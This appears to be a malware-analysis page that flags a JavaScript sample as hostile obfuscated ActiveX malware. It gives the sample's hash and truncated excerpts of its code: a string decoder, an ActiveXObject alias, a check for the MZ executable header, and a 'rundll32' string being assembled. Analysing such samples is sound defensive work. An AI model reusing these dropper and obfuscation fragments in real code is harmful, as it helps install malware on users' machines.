Hostile ^100% javascript-malware-collection Download

20161221_3f35ae0a10d708ccc9c69a974719280e.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2567eda8b0c64760b5055dc77d0c7d8b4a6935ca4dc0331fdd4cbd80e4201265956

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–9

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikthirtythreeFROG2XCOP = 0;	
9     var SupchikthirtythreeRazlomSS, SupchikthirtythreeFROG2ddDccC2, Supchikthirtythree …

JavaScript empty-string accumulator initializer lines 9–14

9:101… hikthirtythreeFROG2c4;
10
11     var SupchikthirtythreeFROG2out = "";
12
13	 var SupchikthirtythreeFROG2Supchikthirtythreeka= this.replace(/FROSTICK/gi, SupchikthirtythreeFROG2out);
14 var  SupchikthirtythreeFROG2len = Supchikthirtythre …

charCodeAt() method call lines 18–20

13… hikthirtythreekoch = SupchikthirtythreeFROG2Supchikthirtythreeka.charCodeAt(SupchikthirtythreeFROG2XCOP++) &(0x132- 0x33);
          SupchikthirtythreeRazlomSS = levitron[Supchikthirtythreekoch];
      } while (SupchikthirtythreeFROG2XCOP < S …

ActiveXObject via local alias lines 185–188

28… 2d2=SupchikthirtythreeFROG2DoUtra.pop();
186SupchikthirtythreeFROG2fabled="Valar2Morgulis";
var SupchikthirtythreeFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikthirtythreeFROG2d2.split("45");SupchikthirtythreeFROG2Native.SupchikthirtythreeFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikthirtythreeFROG2$ …

Checks array for PE magic bytes lines 257–264

92… v);	
if(SupchikthirtythreeTalabaevLaa < 29989)return false;
if (SupchikthirtythreeTalabaev[0]!= 77 || SupchikthirtythreeTalabaev[1]!= 90)return false;		
SupchikthirtythreeFROG2CHICKA = SupchikthirtythreeFROG2CHICKA  + SupchikthirtythreeFROG2SIDRENKOV;
REBEKK2(SupchikthirtythreeFROG2CHICKA, SupchikthirtythreeTalabaev );
262
var SupchikthirtythreeFROG2ddsSSddSd = ",happy";
264SupchikthirtythreeFROG2ddsSSddSd = (SupchikthirtythreeFROG2StrokaParam2,"undl") + (SupchikthirtythreeFROG2StrokaParam2,"l32 " …